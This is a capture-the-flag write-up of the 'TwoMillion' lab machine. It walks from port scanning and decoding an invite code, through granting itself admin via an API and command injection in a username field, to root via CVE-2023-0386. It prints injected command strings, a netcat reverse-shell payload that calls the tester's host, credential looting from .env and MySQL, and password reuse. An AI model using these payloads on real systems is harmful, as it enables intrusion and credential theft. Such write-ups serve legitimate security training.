Target IP: 10.129.229.66
Challenge Description: N/A.
I performed a port scan using the command sudo nmap -sS 10.129.229.66 -p- and obtained the result shown above. By the looks of it, there are two TCP ports open on the target machine on their standard ports: SSH and HTTP. I will perform an aggressive scan against these ports to identify more information.
I ran the command sudo nmap -sV -A 10.129.229.66 -p 22,80 and obtained the result shown above. The HTTP scan is interesting, as it gets redirected to http://2million.htb. I will insert this hostname inside my /etc/hosts file. After adding the hostname, I performed a subdomain enumeration but I did not find anything. Time to enumerate the web application on port 80.
Port 80: HTTP
The webpage above is displayed for this web application.
I notice there is a join section. Hoovering over the Join HTB button shows a redirection URL to http://2million.htb/invite, as shown above. Hmmm...
I pressed the button from the previous image and the webpage above was presented to me. It informs me to enter the invite code. Time to dig the source-code of this webpage to reverse engineer how the invite code works.
I viewed the source-code of this webpage and obtained the crucial information shown above. I notice there is another JavaScript file with the name inviteapi.min.js that is loaded too. I viewed the source-code of inviteapi.min.js and this was obfuscated. The minified JavaScript code is shown below:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}',24,24,'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'),0,{}))eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}',24,24,'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'),0,{}))I used this online JavaScript deobfuscator tool and obtained the code below:
eval(
(function (p, a, c, k, e, d) {
e = function (c) {
return c.toString(36)
}
if (!''.replace(/^/, String)) {
while (c--) {
d[c.toString(a)] = k[c] || c.toString(a)
}
k = [
function (e) {
return d[e]
},
]
e = function () {
return '\\w+'
}
c = 1
}
while (c--) {
if (k[c]) {
p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c])
}
}
return p
})(
'1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}',
24,
24, 'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split(
'|'
),
0,
{}
)
)eval(
(function (p, a, c, k, e, d) {
e = function (c) {
return c.toString(36)
}
if (!''.replace(/^/, String)) {
while (c--) {
d[c.toString(a)] = k[c] || c.toString(a)
}
k = [
function (e) {
return d[e]
},
]
e = function () {
return '\\w+'
}
c = 1
}
while (c--) {
if (k[c]) {
p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c])
}
}
return p
})(
'1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}',
24,
24, 'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split(
'|'
),
0,
{}
)
)In the code above, I notice some interesting strings such as verifyInviteCode, makeInviteCode, and verify. The first two strings are using the camel-casing; therefore, this is a function. To reverse-engineer these functions, I can directly call them inside the console using the Developer tool.
I browsed to http://2million.htb/invite and called the makeInviteCode function and obtained the result shown above. The string Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr has been encrypted using ROT13, and it informs me to decrypt it to obtain the plaintext.
To obtain the plaintext from the ciphertext, I used Cyberchef with the recipe ROT13 as shown above. The amount I used is 13 and obtained the plaintext In order to generate the invite code, make a POST request to /api/v1/invite/generate, as shown above. I can use burpsuite to make a POST request.
I fired up burpsuite on my machine. Then I browsed to http://2million.htb/api/v1/invite/generate. After I intercepted the request, I sent this request to the Repeater tool. Then I changed the HTTP method of GET to POST and sent the request. And I obtained the encoded string NEdVSkwtSFQyVUgtR0Q4NkwtTDRCSFc= with the hint encoded inside the format tag.
To decode the string NEdVSkwtSFQyVUgtR0Q4NkwtTDRCSFc=, I used the Inspector tool offered by the burpsuite as shown above. The encoded string is in base64. After decoding it, I obtained the string 4GUJL-HT2UH-GD86L-L4BHW. This looks like the invite code now. Time to insert this invite code over at http://2million.htb/invite.
After inserting the invite code, I pressed the Sign Up button as shown above.
And bingo! Now I can register as a user on the web application.
I created a new account using the information shown above. The credentials I used are tester:tester123. And I successfully registered an account.
Then I managed to successfully login to my account, as shown above.
After some manual enumeraiton, I found something interesting. Hoovering over the Connection Pack shows it is making a request to http://2million.htb/api/v1/user/vpn/generate API, as shown above. It looks like the VPNs are being generated by this API endpoint. I notice the naming convention of this API is using /api/v1. Maybe I can make a request to it to identify what API endpoints there are.
And bingo! I made a request to /api/v1 and obtained the result shown above. There are multiple API endpoints. The ones that interest me are /api/v1/admin, as highlighted in yellow in the image above. I find the API endpoint /api/v1/admin/settings/update the most interesting. It mentions this endpoint can be used to update user settings. What if I can give myself admin privileges?
After some enumeration, I managed to use the parameter email with the value test@test.com to obtain the result shown above. I also had to add the Content-Type: application/json header field to make this work. The output states Missing parameter: is_admin. Time to add the new parameter is_admin. Maybe I can set it to 1 to give myself admin privileges?
And bingo! I managed to successfully give myself admin privileges. Time to enumerate the other admin API endpoints.
I notice the API endpoint /api/v1/user/vpn/generate requests the same parameter username, as shown above.
After enumerating the API endpoint /api/v1/user/vpn/generate, I notice it is vulnerable to command injection attack as shown above. The parameter username seems to be vulnerable to command injection. I sent the parameter "username":"test; whoami; id; ls -la;" and obtained the result shown above. The target machine successfully executed the commands. There is an interesting file with the name .env too. This file is used to store environment variable values. Maybe I can find saved credentials inside that file? But, it is time to obtain a foothold on the target machine now :) I started a listener on my machine at port 8443.
And bingo! Now I have a foothold on the target machine with the session as www-data, as shown above. I sent the payload "username":"test; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.91 8443 >/tmp/f;".
The file .env contains the credentials admin:SuperDuperPass123, as shown above.
I upgraded my shell to a Python tty shell using the command python3 -c 'import pty; pty.spawn("/bin/bash");' so I can interact with the database application. Then I used the command mysql -u admin -p and then the password SuperDuperPass123, I managed to gain access to the database application on the 127.0.0.1 interface, as shown above. The database htb_prod contains the table users too.
Using the statement SELECT * FROM users;, I managed to get the dump above. This database table contains the password hashes of two other users: TRX and TheCyberGeek, as shown above. I will copy the password hashes to my machine and attempt to crack it using john.
I notice there is a user called admin on the target machine. While waiting for the password hashes to crack, I sprayed the password SuperDuperPass123 against the user admin on the target machine and got a hit. I managed to successfully elevate my privileges on the target machine to the user admin using su, as shown above. Now I can SSH into the target machine as this new user.
I managed to SSH into the target machine as the user admin by using the command ssh admin@2million.htb and the password SuperDuperPass123, as shown above. After logging in as this user, I notice the notification stating this user has an email. However, running the command mail does not do anything.
Using the command find / -name "mail" -type f 2>/dev/null, I managed to locate the mail application on the target machine. It is located at /usr/lib/byobu as shown above. I notice this is just a text file, not a binary executable file.
Running the command cat mail shows how to use this to read email files. I can read emails by browsing to /var/spool/mail/$USER, and replacing the last part with the username.
And bingo. I read the email file by using the command cat admin at /var/spool/mail/admin, as shown above. This email file mentions the target machine is vulnerable to the OverlayFS / Fuse. After doing a Google search, this vulnerability has the CVE ID of CVE-2023-0386.
And the exploit is pretty easy to run, as shown above. I downloaded the exploit on my machine. This exploit requires me to have two sessions on the target machine, and this is possible by the use of SSH credentials of the user admin.
I transferred the exploit to the target machine using Python HTTP Server at /tmp directory. Then I unzipped the file. Afterwards, I ran the command ./fuse ./ovlcap/lower ./gc inside the exploit directory in the first terminal SSH session, as shown above.
On the second terminal SSH session, I deployed the command ./exp and obtained a root shell on the target machine as shown above. This exploit successfully spawned a root shell. Now I have root access on the target machine :) GG.
The two flags are shown above.